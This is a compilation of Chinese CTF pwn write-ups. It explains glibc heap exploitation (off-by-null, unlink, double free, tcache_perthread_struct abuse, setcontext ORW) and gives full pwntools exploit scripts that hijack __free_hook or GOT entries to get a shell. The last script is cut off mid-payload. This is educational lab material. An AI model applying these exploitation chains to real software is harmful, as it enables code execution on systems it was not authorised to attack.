首页 > 其他分享 >pwn_wp汇总

pwn_wp汇总

时间:2024-07-03 15:34:04浏览次数:19  
标签:index 汇总 content add sh words wp pwn size

目录

pwn writeup记录

1.BUU hitcon_2018_children_tcache(off by none,free_hook)

一道2.27下的off by none,保护全开,来看一下,主要在add和delete的时候存在需要注意的点,在add时用了strcpy,会多出一个\x00,存在offbynone,delete的时候有一个memset。

img

img

img

memset函数会将一块内存区域的内容设置为指定的值,所以free的时候会被data区域就会被全部被0xda填充,这里后面会有影响,所以需要记一下,这道题的漏洞就是通过strcpy进行内容复制的时候会多复制一个0x00,导致了offbynone,利用这点来打。这个版本的offbynone还是通过三明治结构来打就好了,通过offbynone覆盖最后一个chunk的pre_inuse位。

首先这是一道2.27的题目,所以存在tcache,所以为了能够成功的泄露libc地址,我们构造的三明治结构需要保证前后两个chunk的大小是大于0x408的。这道题没有edit的方法,按照offbynone的做法,我们要这样来覆盖,但这道题不能这样做,为什么呢?

img

就是因为有memset函数,如果我们这样做会发生什么呢,我们调试看一下,我们这里做的是,先申请3个chunk构造三明治结构,释放第0个,为后续合并做准备,释放第一个,进入tcache,申请一个相同大小的,从tcache取出,并将我们要合并的chunk大小写入第2个chunk的pre size位,同时通过off by none来讲pre inuse位置0,但是我们看一下这样会出现什么问题,我们想要是0x00的位置全都被0xda填满了,这就是memset干的好事!

img

不过也不是没有办法解决,malloc函数分配空间,并不是要多少就给多少,而是会给8的整数倍,也就是说,不管是要0x31,0x32还是0x38,都会给我们相同的大小0x38。通过这个特性,我们就可以把烦人的0xda消除了,具体是这样做的,先申请0x38,并用a字符填满,这样的offbynone就可以覆盖掉preinuse位,变为0x00,再将这个chunk给释放,再申请0x37,填满,再free,这样offbynone就会用0x00覆盖掉图上最后一个0xda,再free,申请0x36,填满,再free,就会用0x00覆盖掉图上倒数第二个0xda,知道把所有da都覆盖掉,我们再写正常的payload,这样就没有da啦!

img

接下来就是off by none的经典利用了,释放chunk2,因为其pre in use位为0,而pre size位被我们更改,所以就会把前两个chunk都给合并掉,进入unsortbin,再申请回chunk0大小的chunk,这时候unsortbin就会被切割,fd和bk指向一个libc地址,这个地址和libc基地址的偏移是固定的,而这时候我们大小为0x38的chunk并没有被free,我们还是可以通过指针访问到他,所以就可以通过show将其打印出来,得到libc基地址。得到libc基地址后就可以得到free_hook的地址,那么接下来呼之欲出,就是打free_hook就可以getshell了,只是因为有memset的存在,我们不能直接把free_hook写成system再来binsh,打onegadget就好了,给出exp:

from pwn import *
from LibcSearcher import *
# from ae64 import AE64
# from ctypes import cdll

filename = './children_tcache'
context.arch='amd64'
context.log_level = 'debug'
# context.terminal = ['tmux', 'neww']
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 28427)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = 'choice: '

menu_add = 1
add_index_words = ''
add_size_words = 'Size:'
add_content_words = 'Data:'

menu_del = 3
del_index_words = 'Index:'

menu_show = 2
show_index_words = 'Index:'

menu_edit = 44
edit_index_words = 'Idx: '
edit_size_words = ''
edit_content_words = ''

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)
payload = b'a'*0x30+p64(0x550)
add(size=0x500,content=b'a'*0x60)#0
add(size=0x38,content=b'a'*0x38)#1
add(size=0x5f0,content='aaaaa')#2
add(size=0x68,content='cccc')#3,防止合并
delete(index=0)
delete(index=1)
#直接申请并写payload会无法将presize位填充全为00,会被memset填充为0xda,需要使用循环来一个一个覆盖为00
# add(size=0x38,content=payload)
debug()
#覆盖0xda
for i in range(6):
    add(size=0x38-i,content=b'a'*(0x38-i))#0
    delete(0)
#最后add我们要覆盖的大小就可以了
add(size=0x38,content=payload)#0
delete(index=2)
#切割unsortbin,到chunk1,chunk1并没有被我们释放(只是现在index是0)
add(size=0x500,content=b'aaa')#1
show(index=0)
leak_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
leak_info('addr:',leak_addr)
dis = 0x3ebca0
libc.address = leak_addr-dis
free_hook = libc.sym['__free_hook']
# system_addr = libc.sym['system']
leak_info('free_hook',free_hook)
#这里就可以指针重叠,index为0的并没有被释放,但被看作释放,所以可以被我们add,并造成doublefree
add(size=0x38,content=p64(free_hook))#2
delete(index=0)
delete(index=2)
add(size=0x38,content=p64(free_hook))#0
add(size=0x38,content=p64(free_hook))#2
#这时候tcache中就只有freehook了,取出,覆盖为system地址,就可以直接打了
# add(size=0x38,content=p64(system_addr))#4
#只是这题不能这样打,因为在free前所有字符全被memset覆盖了,所以binsh没了,打onegadget
# add(size=0x60,content=b'/bin/sh\x00')#5
gadgets=[0x4f2be,0x4f2c5,0x4f322,0x10a38c]
payload = libc.address+gadgets[2]
#free_hook覆盖为gadgets
add(size=0x38,content=p64(payload))

delete(index=0)
# debug()
sh.interactive()

Ulink学习 BUU_hitcon2014_stkof

原理介绍

记录一下unlink的学习,unlink其实可以算是一种比较特殊的利用姿势,在CTF题目中,通常都是构造出一个虚假的三个的chunk链,通过释放chunk,将虚假链中的中间的chunk进行unlink出去,让剩下的两个的fd和bk指针指向对方,通过构造这两个虚假的chunk,可以实现任意写入,最后就可以打got表或者打其他的了,实现利用,接下来记录一下我自己的理解

参考:unlink

如果想要更好的理解unlink需要阅读glibc源码,(待补充)

unlink的目的就是把构造出的虚假chunk链中的second_chunk给拿掉,这样third_chunk和first_chunk的fd和bk就会发生变化。在CTF题目中,如果third_chunk和first_chunk是存放内容的数组,我们通过unlink就可以实现对这个数组的自由控制。

image-20240319152050874

image-20240319152155575

而将second_chunk拿掉的方法是通过将与其物理相邻的高地址chunk释放后与其进行合并,这样就可以将其unlink了,而这样做需要满足一些检查条件。

  • 高地址的chunk的pre_size与要被unlink的size相同
  • 高地址的chunk的size位的inuse位要为0(代表我们要unlink的chunk位free状态)
  • 构造的要unlink的second_chunk的fd和bk以及前一个释放的first_chunk的bk、后一个释放的third_chunk的fd,这几个值要匹配

BUU_hitcon2014_stkof

光这样说其实是很难理解的,通过题目来看unlink,可以更好的理解,hitcon2014_stkof,这也是ctfwiki的例题,直接来看题目,先是静态分析,也是一道菜单题。没开PIE

image-20240319160146163

主函数:三个功能,add,edit,delete

image-20240319154454534

add:可以看到是通过数组s对输入的内容进行存储的,输入size

image-20240319154523976

edit:先输入要修改的index,再输入size,最后输入内容,这里就存在漏洞,可以溢出。

image-20240319155311421

delete:删除,不存在啥漏洞

image-20240319155501122

直接来看调试,首先构造几个chunk,被红框框起来的是我们构造的chunk,另外两个是程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区

image-20240319163231158

image-20240319163303544

我们要利用的就是我们申请的后两个chunk,我们将其分别视作chunk2,chunk3,我们要做的就是在chunk2中构造一个fakechunk,将其作为unlink的目标,最后通过chunk3的free,将fakechunk合并(大小符合unsortbin),实现unlink,因为没有开PIE,所以我们可以找到存储内容的s数组,用这个数组来进行unlink链的构造,我们可以看到这个数组在bss段的0x602140位置

image-20240319163447873

我们看一下这个数组现在的情况,数组从0开始,s[0]为空,我们要用于构造fakechunk的chunk2就在2位置处,不过他是直接指向数据段的,所以有0x10的偏移,这时候这就是unlink这种题的比较重要的做法了,我们如果将s数组看做chunk,那么这时候的fd值就是0x193460,,再看s地址-0x8,这时候将其看做一个chunk,他的bk值就是0x193460,而这个0x193460刚好就是我们的构造的fakechunk的首地址位置,这时候我们将我们的fakechunk的fd值改为s-0x8,bk值改为s,这样这两个“chunk”在unlink时就可以通过检查,成功unlink。画一个图来看,如果unlink成功,那么就会变成下面的样子

image-20240319164559982

image-20240319164621563

image-20240319165817707

image-20240319170133807

这样可以看到这两个“chunk”的fd和bk就会分别指向对方,但别忘了,这两个“chunk”其实是我们存储内容的数组s,被看做fd和bk的值其实是我们要写入内容的地址,接下来就做unlink,将chunk3释放,将chunk2合并,实现unlink
image-20240319170522351

这时候看看s数组,这时候s[2]的值已经是数组附近了,这时候我们就通过edit来编辑,就可以写入got地址了,unlink成功!接下来把got地址写入对应的s的位置,free函数的got地址s[0],puts的got地址在s[1],atoi在s[2],接下来再edit就是向对应的函数got地址进行写入,就是栈溢出做的东西了,这里再稍微写一下,把puts函数的plt写入free的got位置,这样调用free函数就是调用了puts,调用delete,将第二个删除,就调用了free,本来是要free掉s[2],现在就是输出s[2]的内容了,也就是泄露了puts的got地址,就可以找到lib_base,后续就不说了,正常利用。

image-20240319170731178

image-20240319170933254

给出exp:

from pwn import *
from LibcSearcher import *
# from ae64 import AE64
# from ctypes import cdll

filename = './stkof'
context.arch='amd64'
context.log_level = 'debug'
# context.terminal = ['tmux', 'neww']
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn',29495 )

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = ''

menu_add = 1
add_index_words = ''
add_size_words = ''
add_content_words = ''

menu_del = 3
del_index_words = ''

menu_show = 5
show_index_words = 'Idx: '

menu_edit = 2
edit_index_words = ''
edit_size_words = ''
edit_content_words = ''

# def add(index=-1, size=-1, content=''):
#     sh.sendlineafter(choice_words, str(menu_add))
#     if add_index_words:
#         sh.sendlineafter(add_index_words, str(index))
#     if add_size_words:
#         sh.sendlineafter(add_size_words, str(size))
#     if add_content_words:
#         sh.sendafter(add_content_words, content)
def add(size):
    sh.sendline(str(menu_add))
    sh.sendline(str(size))
    sh.recv()


# def delete(index=-1):
#     sh.sendlineafter(choice_words, str(menu_del))
#     if del_index_words:
#         sh.sendlineafter(del_index_words, str(index))
def delete(index):
    sh.sendline(str(menu_del))
    sh.sendline(str(index))



def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

# def edit(index=-1, size=-1, content=''):
#     sh.sendlineafter(choice_words, str(menu_edit))
#     if edit_index_words:
#         sh.sendlineafter(edit_index_words, str(index))
#     if edit_size_words:
#         sh.sendlineafter(edit_size_words, str(size))
#     if edit_content_words:
#         sh.sendafter(edit_content_words, content)
def edit(index=-1,size=-1,content=''):
    sh.sendline(str(menu_edit))
    sh.sendline(str(index))
    sh.sendline(str(size))
    sh.send(content)
    sh.recv()




def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

add(size=0x20)#本题问题,无法利用,占位
add(size=0x20)
add(size=0x80)#进入unsortbin
s=0x602140#存储数组的位置,固定不变,将其作为构造fakechunk的前后chunk利用(其中的值会指向我们的fakechunk,通过check)
# payload=p64(0x00)+p64(0x20)+p64(s-0x8)+p64(s)+p64(0x20)+b'c'*0x8+p64(0x30)+p64(0x90)
payload=p64(0)+p64(0x20)+p64(s-0x8)+p64(s)+p64(0x20)+p64(0x90)
#构造一个大小为0x20的fakechunk,释放状态,并将其fd和bk指向构造好的位置,再将pre_size位设置为0x20,通过检查,
#再通过溢出将chunk3的presize设为0x30,并将inuse位置0
#这时候fakechunk就会和s处构成一个双链表fd,bk等都通过检测
edit(index=2,size=len(payload),content=payload)
delete(index=3)#chunk3尝试与fakechunk进行合并,触发unlink,这时候fakechunk被从双链表中摘除,s数组发生变化

#这时候s数组中本来指向chunk中data段的指针变成了指向s附近,通过修改功能,就可以用s数组来写got地址了,再进行修改,就是改got表地址了
payload=b'a'*0x10+p64(elf.got['free'])+p64(elf.got['puts'])+p64(elf.got['atoi'])
edit(index=2,size=len(payload),content=payload)
#这时候就指针就指向了对应的got地址,再修改的话就是修改got表了
payload=p64(elf.plt['puts'])
edit(index=1,size=len(payload),content=payload)#这时候修改1就是修改free的got表,再次调用free就是调用了puts
#如果free的参数是2的话,就可以打印出puts的got地址了,
delete(index=2)
puts_add=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
leak_info('puts_add',puts_add)
libc_address = puts_add-libc.sym['puts']
binsh_addr = libc_address + next(libc.search(b'/bin/sh'))
sys_addr = libc_address + libc.sym['system']
payload=p64(sys_addr)
edit(index=3,size=len(payload),content=payload)
#将第三个atoi的got地址改为system,调用atoi即为调用system,我们再自己输入binsh就可以拿到shell了
sh.sendline(p64(binsh_addr))
sh.interactive()
# debug()

这是一道很简单的unlink,主要理解到将数组作为unlink链的构造就可以进行利用了。

2.buu 护网杯_2018_gettingstart

img

只要v6=0.1就行了,用这个网站就好了浮点数转化。转了后就是0x3FB999999999999A

img

from pwn import *
from LibcSearcher import *
#from ae64 import AE64
from ctypes import cdll

filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn',29947)

def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

# debug('b *$rebase(0xA36)')
payload = b'a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
sh.sendafter('you.',payload)
# pause()
sh.interactive()

3.buu ciscn_2019_en_3(puts函数漏洞,uaf)

一道2.27的堆题,保护全开,菜单题,但edit和show都没用,无法通过堆来泄露出libc地址,但在题目开始的输入name和ID有一个漏洞,可以利用用于泄露libc,然后就可以利用uaf了

img

puts函数在遇到\x00前不会停止输出,所以利用这个来做。看一下输入后的栈空间,如果输入满8个的话,就会把后面的一个libc上的地址给带出来,就泄露了libc,后面就是uaf了。

img

给出exp:

from pwn import *
from LibcSearcher import *
#from ae64 import AE64
from ctypes import cdll

filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn',25810 )

def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
    pause()

choice_words = 'choice:'

menu_add = 1
add_index_words = ''
add_size_words = 'story: '
add_content_words = 'story: '

menu_del = 4
del_index_words = 'index:'

menu_show = 3
show_index_words = 'Idx: '

menu_edit = 22
edit_index_words = 'Idx: '
edit_size_words = ''
edit_content_words = ''

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)
sh.send(b'a')
# debug('b *$rebase(0xE2C)')
#puts漏洞,遇到\x00才停止输出,泄露libc
sh.sendafter('ID.',b'bbbbbbbb')
# pause()
libc.address=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x81237
leak_info('libc',libc.address)
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
# debug()
add(size=0x68,content=b'aaaa')
add(size=0x68,content=b'aaaa')
add(size=0x68,content=b'/bin/sh')
delete(index=0)
delete(index=0)
add(size=0x68,content=p64(free_hook))
add(size=0x68,content=b'aaaa')
add(size=0x68,content=p64(system))
# pause()

delete(index=2)
sh.interactive()

2.27版本的tcache没限制数组在count>0时才能取,2.31后就会有这个限制了,记错了

img

4.buu gyctf_2020_some_thing_exceting(2.23double free)

img

img

img

一道2.23的题目,doublefree,但利用方法有些不一样,没有edit,程序把flag读入并写入了bss段上,所以利用doublefree把bss段上勾走的fakechunk放入fastbin中,并最后显示。刚刚doublefree后的堆空间,有点没理解为什么有一个被释放的0x60的chunk变成了used且也不在fastbin中,不过不影响后面做题,毕竟已经有一个chunk被doublefree了

img

将fakechunk给add进去,就可以看到进入fastbin中了,后面申请两次就可以读到了。

img

给出exp:

from pwn import *
from LibcSearcher import *
#from ae64 import AE64
from ctypes import cdll

filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 28635)

def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
    pause()

choice_words = 'do :'

menu_add = 1
add_index_words = ''
add_size_words = 'ba\'s length : '
add_content_words = 'ba : '
add_size_words1 = 'na\'s length : '
add_content_words1 = 'na : '

menu_del = 3
del_index_words = 'ID : '

menu_show = 4
show_index_words = 'SCP project ID : '

menu_edit = 2
edit_index_words = 'Idx: '
edit_size_words = ''
edit_content_words = ''

def add(index=-1, size=-1,size1=-1, content='',content1=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)
    if add_size_words1:
        sh.sendlineafter(add_size_words1, str(size1))
    if add_content_words1:
        sh.sendafter(add_content_words1, content1)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)
# debug()
add(size=0x50,size1=0x50,content=b'aaa',content1=b'bbb')
add(size=0x50,size1=0x50,content=b'aaa',content1=b'bbb')
add(size=0x50,size1=0x50,content=b'aaa',content1=b'bbb')
delete(index=0)
delete(index=1)
delete(index=0)
fake_chunk = 0x602098
add(size=0x50,size1=0x50,content=p64(fake_chunk),content1=p64(0xdeadbeaf))
# pause()
add(size=0x50,size1=0x50,content=b'1',content1=b'1')
#后一个不能是0x50因为这时候fastbin里还有残留,但不是正常的chunk形式,不能申请出来
add(size=0x50,size1=0x60,content=b'f',content1=b'a')



show(index=3)
a=sh.recv()
print(a)
# delete(index=0)

# pause()

5.NSSCTF CISCN 2021 初赛 lonelywolf(tcache uaf & tcache_perthread_struct)

到最后没打通远程,好像是libc版本不对的问题,因为NSS没给libc,但无伤大雅,差不多懂了,更重要的是下一道silverwolf,但这道题还是学了些东西,记录一下:

2.27保护全开,看着是道菜单题,delete存在uaf,但是有一些不一样,只能控制最后添加的chunk,所以有一些小变化

img

img

img

img

可以看到就是得利用uaf。因为只能控制最后一个申请的chunk,所以我们首先用一次uaf将堆地址泄露出来,这里因为用的2.27版本比较新,所以会有key的存在,通过edit将key清零。

img

img

接下来就该泄露libc地址了,那这道题该怎么用呢,需要用到tcache_perthread_struct,也就是这里前面这个0x250的chunk,这里 tcache_perthread_struct中保存了各个大小的tcache的list中的元素多少,以及各个大小的tcache的首个chunk的地址,也是就entries 指针,这道题就是这样做的,因为我们泄露得到了堆地址,所以我们可以寻址到tcache_perthread_struct,通过edit来修改现在0x80的tcachebins的地址,指向 tcache_perthread_struct,再申请两次,将其申请出来,我们就可以对他进行更改了。

img

img

那要改什么东西呢,我们注意看,这里的0x02代表着当前0x80大小的tcachebin链中有两个元素,而当前这个chunk的大小为0x250,我们将0x250处修改为7,代表0x250的链是满的,再将这个chunk free,就会进入unsortbin中了,从而泄露libc。

img

泄露libc后该怎么利用呢,可以打freehook,怎么打就要利用到entries了注意看这里红框标注的地方,就是0x80的entries指针了,所以我们现在依然可以修改这个0x250的chunk,让他的0x30处的entries直接指向freehook,再add一次,就可以写system,就可以getshell了。

img

给出exp:

from pwn import *
from LibcSearcher import *
# from ae64 import AE64
from ctypes import cdll

filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node4.anna.nssctf.cn',28755)

def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
    pause()

choice_words = 'choice: '

menu_add = 1
add_index_words = 'Index: '
add_size_words = 'Size: '
add_content_words = ''

menu_del = 4
del_index_words = 'Index: '

menu_show = 3
show_index_words = 'Index: '

menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = ''
edit_content_words = 'Content: '

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendlineafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)
# debug()


add(index=0,size=0x78)
delete(index=0)
edit(index=0,content=p64(0)*2)
delete(index=0)
show(index=0)
sh.recvuntil('Content: ')
heap_address = u64(sh.recv(6).ljust(8,b'\x00'))-0x260
leak_info('heap_base',heap_address)
edit(index=0,content=p64(heap_address+0x10))
add(index=0,size=0x78)
#大小为0x250的堆块头被add
add(index=0,size=0x78)
edit(index=0,content=b'\x00'*0x23+b'\x07')
#进入unsortbin
delete(index=0)
show(index=0)
libc.address = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
leak_info('libc.address',libc.address)
leak_info('free_hook',free_hook)
payload = p64(libc.address+0x3ebca0)*2+b'\x00'*0x30+p64(free_hook)+p64(free_hook)
edit(index=0,content=payload)
# pause()
add(index=0,size=0x28)
edit(index=0,content=p64(system))
add(index=0,size=0x38)
edit(index=0,content=b'/bin/sh')
delete(index=0)
# pause()
sh.interactive()

远程没打通,很烦,但不想搞了,就这样吧

6.NSS [CISCN 2021 初赛]silverwolf(setcontext,uaf,double free)

和lonelywolf不同的是加了沙箱,不能再getshell了,所以需要要打ord,而对于堆上的orw就需要用到setcontext了,这是一个存在于libc中的函数,而在其中有一段代码也就是setcontext+53开始,图上的红圈开始,会使用rdi(高版本是rdx)来给其他寄存器赋值,在2.27时,我们如果控制了rdi,就可以控制到rsp(当然,也可以给其他寄存器赋值),从而把栈迁移到我们想要的地方去,从而执行我们自己的rop链。这道题目就是经典的2.27下的打setcontext,记录一下,学习一下,好像还可以直接用pwntools里的SigreturnFrame直接来写到setcontext这里,但暂时不太会,后面再看一下。

img

来看题目,题目和上一道lonelywolf没有什么区别,只是加了沙箱,所以源码就不放了,只是这道题有堆风水问题,所以需要稍微注意一下。和lonelywolf一样,首先还是需要泄露堆基址和libc地址。这是最开始时的堆风水,为了好做double free,我们先申请7个0x78的chunk,清空这个大小的tcachebins再开始。

img

到泄露libc和freehook还是一样的

img

接下来就是这道题目不一样的地方了,沙箱是白名单,只允许orw,所以我们就需要使用setcontext的打法了,接下来还是对tcache_perthread_struct的操作,之前在这一步,我们是直接修改每个tcachebin list里含有的元素多少以及修改entries指针直接指向free_hook,再直接将free_hook申请出来修改为system。

在这里,同样的,我们会将free_hook申请出来,但不会修改为system,而是修改为setcontext+0x53,这样如果我们后续给rdi合适的值,就可以通过mov rsp,[rdi+0A0],给rsp赋值,从而达到栈迁移的目的。那么接下来的问题就是我们该如何构造 ,让rsp有一个合适的值。

我们的选择是将栈迁移到我们能控制的堆上来,那我们该怎么控制呢,别忘了我们的tcache_perthread_struct,我们可以修改entries,让不同大小的tcachebin链的首元素都是我们自己控制的堆块。注意看下面的payload,我们0x20大小的entries指向的是free_hook,而后面从0x30到0x80大小的指向的都是我们直接控制的,为什么是heap_base加这么多,首先因为这道题的堆风水,所以我写的大一点,只要构造的合适,写多少都可以,只要在堆空间上。在这里heap_base+0x1000用于存放'/flag' 字符串(用于open)和我们想要的flag(read和write)。heap_base+0x2000用于作为rdi被free,而free被覆盖为setcontext+53,这就是我们给rdi设置好的值了 ,heap_base+20a0, 还记得吗,我们是通过mov rsp,[rdi+0A0]给rsp赋值的,所以我们需要在这里存入一个要给rsp的值,也就是接下来的heap_base+0x3000,这里存放的就是我们的rop链了,因为rop链的长度有点长(0x70大小,其实这个chunk只能存下0x60,但我申请的是0x68,不知道为啥),所以我们需要另一个chunk, 存储没存完的rop,也就是heap_base+0x3060 ,刚好和之前的接上。这就是整个利用过程了

img

整个利用链就是这样,接下来就是写rop了:

img

不知道为什么open用的syscall,而read和write不用,看别人是这样写的,不管了,反正rop的问题不大。

接下来就是利用了,先覆盖free_hook,/flag存储在heapbase+0x1000,再将rop存在heapbase+0x3000和heapbase+0x3060上,在add一个大小为0x58的chunk,就取到了heapbase+0x20a0,在这里写入我们要让rsp迁移到的地方,也就是heapbase+0x3000,加一个ret,让setcontext里的push rcx不破坏栈结构,再add一个size=0x48的chunk,取到了heapbase+0x2000,将其free,就成功调用了setcontext!就会执行我们的rop了,最后就能拿到flag了

img

给出exp:

from pwn import *
from LibcSearcher import *
# from ae64 import AE64
from ctypes import cdll

filename = './pwn'
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'neww']
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node4.anna.nssctf.cn',28408)

def debug(parma=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid,parma)
    pause()

choice_words = 'choice: '

menu_add = 1
add_index_words = 'Index: '
add_size_words = 'Size: '
add_content_words = ''

menu_del = 4
del_index_words = 'Index: '

menu_show = 3
show_index_words = 'Index: '

menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = ''
edit_content_words = 'Content: '

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendlineafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)
debug()

for i in range(7):
    add(index=0,size=0x78)
add(index=0,size=0x78)
delete(index=0)
edit(index=0,content=b'\x00'*0x10)
delete(index=0)

show(index=0)
sh.recvuntil('Content: ')
heap_base = u64(sh.recv(6).ljust(8,b'\x00'))-0x1920
leak_info('heapbase',heap_base)
edit(index=0,content=p64(heap_base+0x10))
add(index=0,size=0x78)
add(index=0,size=0x78)
# edit(index=0,content=b'a'*0x10)
edit(index=0,content=b'\x00'*0x23+b'\x07')

delete(index=0)

show(index=0)
libc.address = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
leak_info('libc.address',libc.address)
free_hook = libc.sym['__free_hook']
leak_info('free_hook',free_hook)
payload = b'\x02'*0x40+p64(free_hook)#0x20
payload+=p64(0)#0x30 
payload+=p64(heap_base+0x1000)#0x40 flag
